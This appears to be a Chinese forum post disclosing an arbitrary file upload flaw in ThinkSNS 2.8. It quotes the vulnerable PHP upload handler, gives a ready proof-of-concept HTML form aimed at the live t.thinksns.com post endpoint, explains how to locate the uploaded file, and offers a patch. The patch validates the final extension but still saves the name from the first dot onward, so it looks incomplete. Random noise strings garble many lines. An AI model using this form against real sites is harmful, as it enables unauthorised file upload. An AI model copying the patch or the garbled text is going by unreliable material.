ThinkSNS 2.8任意文件上传漏洞及修复

admin

  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。
# J; W: f1 `3 Y( d0 L) X

\api\StatusesApi.class.php
& t: _7 t# _. i
function uploadpic(){
4 g" i3 E( {. _% b4 h- D5 V. w      if( $_FILES['pic'] ){
     //执行上传操作
; c0 o4 P6 v4 z; A     $savePath =  $this->_getSaveTempPath();
8 Y8 U/ ~( c" d( z% Y     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
       {
$ V" m5 T9 \0 F+ S- k9 v; p; {        $result['boolen']    = 1;
- I0 {" t( V% m. F8 V; j; _        $result['type_data'] = 'temp/'.$filename;
% J* f. Y" K& b) [2 }* `1 N! z* Y        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
: z5 A  Q3 i4 b6 I1 A/ c       } else {
        $result['boolen']    = 0;
        $result['message']   = '上传失败';
       }
     }else{
         $result['boolen']    = 0;
         $result['message']   = '上传失败';
     }
2 u, R3 u. z( s( @, Z+ H& sreturn $result;
    }
8 h5 W$ Y! \, F: |4 Wunloadpic()方法没有对文件类型进行验证

0 r) v+ r/ }, @: B% n6 V( [可以构建表单, 选择任意文件, 提交到
/ I8 @4 y2 n0 X& ]/index.php?app=w3g&mod=Index&act=doPost
1 }) V/ b; W9 v
" c7 q" E- v- i在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)


- U( b# ~" s& y5 [# R在登录thinksns官方微博后,
构建以下表单:
- c7 L  \$ Z, u* K1 V2 W
<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
<textarea name="content">test</textarea>
file: <input id="file" type="file" name="pic" />
* {) P# f# ]9 p<input type="submit" value="Post" />
5 e3 N3 Y- K+ m' \; T  c6 K+ p</form>
去掉缩略图的前缀(small_ )
4 I8 E7 [8 Z8 l9 s# e- c6 K* A1 |6 G​修复方案：

0 i1 k' t8 b$ F1 o
\api\StatusesApi.class.php

! Z4 u* `' c* J/ `7 L( J1 J0 Xfunction uploadpic(){
     /**
      * 20121018 @yelo
      * 增加上传类型验证
      */
/ `5 Z, \# ~" f( ]; S: z     $pathinfo = pathinfo($_FILES['pic']['name']);
     $ext = $pathinfo['extension'];
$allowExts = array('jpg', 'png', 'gif', 'jpeg');

; c1 b: g8 e+ @6 p4 a: w9 @! u     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);

     if( $uploadCondition ){
% n4 z4 [6 p& A     //执行上传操作
/ j) W5 U1 W5 m' D     $savePath =  $this->_getSaveTempPath();
, ~/ X& J. R5 T: r& O     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
       {
        $result['boolen']    = 1;
5 ]! u8 A4 \( y" w& O) ]        $result['type_data'] = 'temp/'.$filename;
( q' Q+ G; T8 r  Q& T        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
6 B: U, d. i8 ?  t& C. Y+ [1 R       } else {
        $result['boolen']    = 0;
        $result['message']   = '上传失败';
       }
1 E" U! Z# ]; U4 ~9 u, E4 Z! b" l$ d     }else{
8 A, ^7 c# X& Q, Y% y         $result['boolen']    = 0;
         $result['message']   = '上传失败';
     }
return $result;
    }
​